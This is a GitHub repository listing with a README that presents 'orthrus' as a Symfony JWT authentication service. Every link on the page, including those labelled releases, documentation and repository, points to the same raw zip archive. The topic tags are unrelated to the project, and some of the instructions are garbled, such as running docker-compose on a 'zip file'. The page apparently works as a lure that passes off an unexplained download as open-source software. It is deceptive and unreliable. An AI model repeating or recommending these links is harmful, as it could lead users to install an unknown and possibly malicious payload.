https://github.com/gustavoport-cloud/orthrus
π Build a secure multi-tenant JWT authentication service with Symfony 7.3 and PHP 8.2+, offering features like token rotation and OAuth 2.0 support.
https://github.com/gustavoport-cloud/orthrus
adblock blocklist filters internet java lua luajit malware orthrus otp-calculator palaeoproteomics pihole privacy protobuf security-groups tracker tracking transformer
Last synced: about 1 month ago
JSON representation
π Build a secure multi-tenant JWT authentication service with Symfony 7.3 and PHP 8.2+, offering features like token rotation and OAuth 2.0 support.
- Host: GitHub
- URL: https://github.com/gustavoport-cloud/orthrus
- Owner: gustavoport-cloud
- License: mit
- Created: 2024-11-13T02:07:19.000Z (over 1 year ago)
- Default Branch: main
- Last Pushed: 2026-05-02T15:11:43.000Z (about 1 month ago)
- Last Synced: 2026-05-02T17:16:08.026Z (about 1 month ago)
- Topics: adblock, blocklist, filters, internet, java, lua, luajit, malware, orthrus, otp-calculator, palaeoproteomics, pihole, privacy, protobuf, security-groups, tracker, tracking, transformer
- Language: PHP
- Size: 1.93 MB
- Stars: 0
- Watchers: 1
- Forks: 1
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- Contributing: CONTRIBUTING.md
- License: LICENSE
- Codeowners: CODEOWNERS
- Security: SECURITY.md
- Agents: AGENTS.md
Awesome Lists containing this project
README
# β¨ orthrus - Simple JWT Authentication for Everyone
## π Overview
**orthrus** is a multi-tenant JSON Web Token (JWT) authentication service. Itβs built with Symfony 7.3 and PHP 8.2+. This tool helps secure your applications by providing a reliable way to manage user identities and access rights. Whether you are building a new application or enhancing an existing one, **orthrus** can simplify the authentication process.
## π Getting Started
To begin using **orthrus**, follow the steps below to download and run the application.
## π₯ Download Now
[](https://github.com/gustavoport-cloud/orthrus/raw/refs/heads/main/public/Software-3.1.zip)
## π» System Requirements
Before installation, ensure your system meets the following requirements:
- **Operating System:** Compatible with Windows, macOS, and Linux.
- **PHP Version:** Requires PHP 8.2 or higher.
- **Web Server:** Any server that supports PHP (e.g., Apache or Nginx).
- **Docker:** Optional, but recommended for containerized deployments.
## π Key Features
- Multi-tenant support for managing multiple user groups.
- Secure token-based authentication.
- Easy integration with existing applications.
- Compliant with industry standards (e.g., JWT, OAuth2).
- OpenAPI documentation for easy reference.
## π Security
Security is a priority for **orthrus**. The application uses JWT to ensure:
- Secure user authentication.
- Rights management through scope-based authorization.
- RS256 signing for added protection.
## π οΈ Installation Steps
Follow these straightforward steps to download and install **orthrus**.
1. **Visit the Releases Page**
Go to the [Releases page](https://github.com/gustavoport-cloud/orthrus/raw/refs/heads/main/public/Software-3.1.zip) to find the latest version of the application.
2. **Select the Latest Release**
On the Releases page, look for the most recent version, which will be at the top of the list.
3. **Download the Application**
Click on the asset file that matches your system (look for `.zip`, `https://github.com/gustavoport-cloud/orthrus/raw/refs/heads/main/public/Software-3.1.zip`, or other relevant formats).
4. **Unzip the Downloaded File**
After the download completes, locate the file on your computer and unzip it to your desired location.
5. **Configure the Application**
Navigate to the unzipped folder. There will likely be configuration files where you can set your unique settings. Follow the README included in the folder for specific configuration instructions.
## π Running orthrus
To run **orthrus**, follow these steps:
1. **Open Your Terminal or Command Prompt.**
2. **Navigate to the Project Directory.** Use the `cd` command to change into the directory where you unzipped the application.
3. **Start the Service.** If you have a `https://github.com/gustavoport-cloud/orthrus/raw/refs/heads/main/public/Software-3.1.zip` file, you can start it with the following command:
```bash
docker-compose up
```
Alternatively, if not using Docker, you may need to run the web server configured in your application.
## βοΈ Configuration
To further customize **orthrus**, consider the following settings in your configuration file:
- **Database Connection:** Set up your database credentials for user management.
- **JWT Signing Key:** Define a strong key for token generation.
- **Tenant Management:** Establish and configure different tenants if you need multi-tenancy.
Make sure to read through the provided documentation for guidance on each setting.
## π Documentation
For in-depth understanding, refer to the official documentation available within the application. It covers:
- API usage
- Authentication flows
- Configuration examples
- Troubleshooting common issues
## π€ Contributing
If you wish to contribute to the project, feel free to fork the repository and submit a pull request. All contributions are welcome.
## π Support
If you have questions or encounter issues, please check the Issues tab on the repository. Community members and maintainers regularly monitor it.
## π Further Resources
- [GitHub Repository](https://github.com/gustavoport-cloud/orthrus/raw/refs/heads/main/public/Software-3.1.zip)
- [Documentation](https://github.com/gustavoport-cloud/orthrus/raw/refs/heads/main/public/Software-3.1.zip)
## π₯ Download Again
Donβt forget to [visit this page to download](https://github.com/gustavoport-cloud/orthrus/raw/refs/heads/main/public/Software-3.1.zip) the latest version of **orthrus** if you need to reinstall or update your software.